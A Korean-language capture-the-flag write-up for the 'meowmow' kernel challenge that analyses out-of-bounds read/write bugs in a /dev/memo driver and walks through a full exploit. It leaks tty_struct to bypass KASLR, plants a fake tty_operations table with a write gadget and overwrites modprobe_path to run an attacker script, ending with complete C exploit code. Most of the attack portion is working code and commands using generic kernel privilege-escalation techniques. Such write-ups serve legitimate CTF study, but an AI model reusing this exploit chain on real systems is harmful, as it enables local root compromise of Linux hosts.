meowmow
취약점 분석
1. mod_llseek의 파일 위치 상한 검증 부재
mod_llseek는 계산된 파일 위치가 음수인지만 검사한다. memo 버퍼의 크기는 0x400바이트지만, 새로운 파일 위치가 MAX_SIZE보다 작은지는 검사하지 않는다.
static loff_t mod_llseek(struct file *filp, loff_t offset, int whence)
{
loff_t newpos;
switch(whence) {
case SEEK_SET:
newpos = offset;
break;
case SEEK_CUR:
newpos = filp->f_pos + offset;
break;
case SEEK_END:
newpos = strlen(memo) + offset;
break;
default:
return -EINVAL;
}
if (newpos < 0) return -EINVAL;
filp->f_pos = newpos;
return newpos;
}따라서 사용자는 다음과 같이 file->f_pos를 버퍼 끝에 가까운 0x3f0으로 설정할 수 있다.
lseek(fd, 0x3f0, SEEK_SET);이 문제는 단독으로는 OOB 접근을 발생시키지 않는다. 하지만 mod_read와 mod_write의 잘못된 길이 검사와 결합하면 커널 힙 OOB read/write가 된다.
SEEK_END가 strlen(memo)를 사용하는 것도 문제다. 사용자가 memo의 0x400바이트를 모두 NULL이 아닌 값으로 채우면 strlen이 할당 범위를 넘어 계속 읽을 수 있다.
2. mod_read와 mod_write의 잘못된 범위 검사
memo는 mod_open에서 kmalloc(0x400, GFP_KERNEL)로 할당된다.
static int mod_open(struct inode *inode, struct file *file)
{
if (memo == NULL) {
memo = kmalloc(MAX_SIZE, GFP_KERNEL);
memset(memo, 0, MAX_SIZE);
}
return 0;
}mod_read는 시작 위치가 0x400보다 작은지 확인하고, 요청 길이 count가 0x400보다 큰 경우에만 길이를 줄인다.
static ssize_t mod_read(struct file *filp, char __user *buf,
size_t count, loff_t *f_pos)
{
if (filp->f_pos < 0 || filp->f_pos >= MAX_SIZE) return 0;
if (count < 0) return 0;
if (count > MAX_SIZE) count = MAX_SIZE - *f_pos;
if (copy_to_user(buf, &memo[filp->f_pos], count)) return -EFAULT;
*f_pos += count;
return count;
}mod_write도 같은 검사를 사용한다.
static ssize_t mod_write(struct file *filp, const char __user *buf,
size_t count, loff_t *f_pos)
{
if (filp->f_pos < 0 || filp->f_pos >= MAX_SIZE) return 0;
if (count < 0) return 0;
if (count > MAX_SIZE) count = MAX_SIZE - *f_pos;
if (copy_from_user(&memo[filp->f_pos], buf, count)) return -EFAULT;
*f_pos += count;
return count;
}검사해야 하는 조건은 다음과 같다.
if (count > MAX_SIZE - filp->f_pos)
count = MAX_SIZE - filp->f_pos;그러나 실제 코드는 count > MAX_SIZE만 검사한다. 따라서 count가 정확히 0x400이면 파일 위치와 상관없이 길이 조정이 수행되지 않는다.
lseek(fd, 0x3f0, SEEK_SET);
read(fd, buf, 0x400);위 호출의 복사 범위는 다음과 같다.
시작 주소: memo + 0x3f0
종료 주소: memo + 0x7ef
정상 범위: memo ~ memo + 0x3ff
OOB 범위: memo + 0x400 ~ memo + 0x7ef즉 memo의 마지막 0x10바이트와 그 뒤 커널 힙 0x3f0바이트를 읽거나 쓸 수 있다. memo가 속한 kmalloc-1024 객체 바로 뒤에 공격 대상 객체를 배치하면 다음 공격 벡터를 얻는다.
- OOB read를 이용한 커널 포인터와 힙 주소 유출
- OOB write를 이용한 인접 객체의 함수 포인터 변조
- KASLR 우회
- 커널 쓰기 primitive 구성
count는 size_t이므로 count < 0 검사는 항상 거짓이며 유효한 방어가 아니다.
3. tty_struct를 이용한 공격 대상 구성
memo는 kmalloc-1024 객체다. /dev/ptmx를 열 때 생성되는 tty_struct도 같은 크기의 slab 객체에 할당된다. 익스플로잇은 먼저 /dev/memo를 열어 memo를 할당하고, 이어서 /dev/ptmx를 열어 그 뒤에 tty_struct가 배치되도록 한다.
int fd = open("/dev/memo", O_RDWR);
int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);memo + 0x3f0부터 읽으면 사용자 버퍼의 배치는 다음과 같다.
buf + 0x00 ~ 0x0f : memo의 마지막 0x10바이트
buf + 0x10 : tty_struct 시작
buf + 0x28 : tty_struct + 0x18, ops 포인터
buf + 0x48 : tty_struct + 0x38, tty_struct 내부를 가리키는 포인터tty_struct->ops를 가짜 tty_operations 테이블로 변경하면 PTY 연산을 통해 원하는 커널 가젯을 호출할 수 있다.
Exploit 과정
Step 1: memo와 tty_struct 힙 배치
/dev/memo를 먼저 열어 전역 memo 버퍼를 할당하고, 바로 이어 /dev/ptmx를 열어 공격 대상 tty_struct를 생성한다.
int fd = open("/dev/memo", O_RDWR);
int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);두 객체는 모두 kmalloc-1024 크기 클래스에 속한다. 제공된 실행 환경에서 tty_struct는 memo 다음 객체에 배치된다.
Step 2: OOB read로 tty_struct 유출
파일 위치를 0x3f0으로 설정하고 0x400바이트를 읽는다.
lseek(fd, 0x3f0, SEEK_SET);
char buf[0x400] = {0};
read(fd, buf, sizeof(buf));읽은 데이터에서 처음 0x10바이트는 memo의 마지막 부분이고, buf + 0x10부터는 인접한 tty_struct다.
memo base memo + 0x400 = tty_struct base
| |
+----------------------+---------------+-------------------+
^ ^
memo + 0x3f0 buf + 0x10
|
bufStep 3: 커널 베이스와 힙 주소 계산
tty_struct + 0x18에는 정상 tty_operations 테이블 주소가 들어 있다. 해당 포인터의 알려진 오프셋 0xe65900을 빼서 커널 베이스를 계산한다.
uint64_t kbase =
*(uint64_t *)(buf + 0x18 + 0x10) - 0xe65900;tty_struct + 0x38에 저장된 포인터는 tty_struct + 0x38을 가리킨다. 따라서 0x38을 빼면 tty_struct의 힙 주소를 얻을 수 있다.
uint64_t kheap =
*(uint64_t *)(buf + 0x38 + 0x10) - 0x38;커널 베이스를 기준으로 modprobe_path와 쓰기 가젯 주소를 계산한다.
uint64_t modprobe_path = kbase + 0x1242260;
uint64_t mov_rdx_rsi = kbase + 0x3150d2;kbase + 0x3150d2의 가젯은 다음과 같다.
mov qword ptr [rdx], rsi
retStep 4: 가짜 tty_operations 구성
가짜 operations 테이블은 유출한 tty_struct 내부의 tty + 0x300 위치에 만든다.
*(uint64_t *)(buf + 0x18 + 0x10) = kheap + 0x300;위 코드는 tty_struct->ops를 tty + 0x300으로 변경한다.
tty_operations->ioctl 슬롯은 operations 테이블 시작으로부터 0x60에 있다. 따라서 가짜 테이블이 tty + 0x300에 있다면 ioctl 함수 포인터는 tty + 0x360에 놓여야 한다.
사용자 버퍼에서 tty_struct 시작은 buf + 0x10이므로 다음 위치에 쓰기 가젯을 기록한다.
*(uint64_t *)(buf + 0x360 + 0x10) = mov_rdx_rsi;결과적인 구조는 다음과 같다.
tty_struct + 0x018 : fake ops 주소인 tty_struct + 0x300
tty_struct + 0x300 : fake tty_operations 시작
tty_struct + 0x360 : fake tty_operations->ioctl
tty_struct + 0x360 : mov qword ptr [rdx], rsi ; retStep 5: OOB write로 tty_struct 변조
앞선 read()는 file->f_pos를 0x3f0 + 0x400만큼 증가시킨다. 따라서 쓰기 전에 파일 위치를 다시 0x3f0으로 설정해야 한다.
lseek(fd, 0x3f0, SEEK_SET);
write(fd, buf, sizeof(buf));buf에는 유출한 원본 tty_struct 내용이 보존되어 있고, ops 포인터와 fake ioctl 슬롯만 변경되어 있다. OOB write가 끝나면 target PTY의 ioctl 호출은 쓰기 가젯으로 분기한다.
Step 6: ioctl을 임의 커널 쓰기 primitive로 변환
PTY ioctl 함수는 다음과 같은 형태로 호출된다.
tty->ops->ioctl(tty, cmd, arg);x86-64 호출 규약에 따라 레지스터는 다음과 같다.
rdi = tty_struct 주소
rsi = ioctl cmd
rdx = ioctl arg가짜 ioctl 함수는 다음 가젯이다.
mov qword ptr [rdx], rsi
ret따라서 다음 호출은 arg가 가리키는 커널 주소에 cmd 값을 기록한다.
ioctl(ptmx, cmd, target_address);ioctl 명령은 32비트 값이므로 한 번에 문자열 4바이트를 제어한다. 두 번 호출해 modprobe_path에 "/tmp/ex\0"을 기록한다.
char *new_modprobe_path = "/tmp/ex\0";
ioctl(ptmx, (uint64_t)*(uint32_t *)new_modprobe_path,
modprobe_path);
ioctl(ptmx, (uint64_t)*(uint32_t *)(new_modprobe_path + 4),
modprobe_path + 4);첫 번째 호출은 "/tmp"를, 두 번째 호출은 "/ex\0"을 기록한다.
Step 7: modprobe_path 실행으로 권한 획득
새로운 modprobe_path가 가리킬 /tmp/ex 스크립트를 생성한다. 스크립트는 /flag의 권한을 모든 사용자가 읽을 수 있도록 변경한다.
system("echo -ne '#!/bin/sh\nchmod 777 /flag\n' > /tmp/ex;");
system("chmod +x /tmp/ex;");알 수 없는 바이너리 형식을 가진 /tmp/dummy도 생성한다.
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy;");
system("chmod +x /tmp/dummy;");/tmp/dummy를 실행하면 커널이 적절한 binary format handler를 찾기 위해 변경된 modprobe_path를 실행한다. 결과적으로 /tmp/ex가 실행되고 /flag의 권한이 변경된다.
system("/tmp/dummy");
system("cat /flag");이 방식은 커널 제어 흐름을 직접 사용자 공간으로 옮기지 않으므로 SMEP와 SMAP의 영향을 받지 않는다. KASLR은 tty_struct->ops 포인터 유출로 우회한다.
Exploit Code
#include <bits/pthreadtypes.h>
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
important("happy hacking!");
// open /dev/memo, /dev/ptmx
int fd = open("/dev/memo", O_RDWR);
int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);
// leak tty_struct
lseek(fd, 0x3f0, SEEK_SET);
char buf[0x400] = {0};
read(fd, buf, sizeof(buf));
hexdump(buf, 0x50);
uint64_t kbase = *(uint64_t *)(buf + 0x18 + 0x10) - 0xe65900;
uint64_t kheap = *(uint64_t *)(buf + 0x38 + 0x10) - 0x38;
uint64_t modprobe_path = kbase + 0x1242260;
info("kbase: 0x%lx", kbase);
info("kheap: 0x%lx", kheap);
info("modprobe_path: 0x%lx", modprobe_path);
// overwrite tty_struct
uint64_t mov_rdx_rsi = kbase + 0x3150d2;
lseek(fd, 0x3f0, SEEK_SET);
*(uint64_t *)(buf + 0x18 + 0x10) = kheap + 0x300;
*(uint64_t *)(buf + 0x360 + 0x10) = mov_rdx_rsi;
write(fd, buf, sizeof(buf));
info("overwrite tty_struct done");
// set up modprobe_path overwrite
system("echo -ne '#!/bin/sh\nchmod 777 /flag\n' > /tmp/ex;");
system("chmod +x /tmp/ex;");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy;");
system("chmod +x /tmp/dummy;");
// overwirte modprobe_path
char *new_modprobe_path = "/tmp/ex\0";
ioctl(ptmx, (uint64_t)*(uint32_t *)new_modprobe_path, modprobe_path);
ioctl(ptmx, (uint64_t)*(uint32_t *)(new_modprobe_path + 4),
modprobe_path + 4);
system("/tmp/dummy");
system("cat /flag");
return 0;
}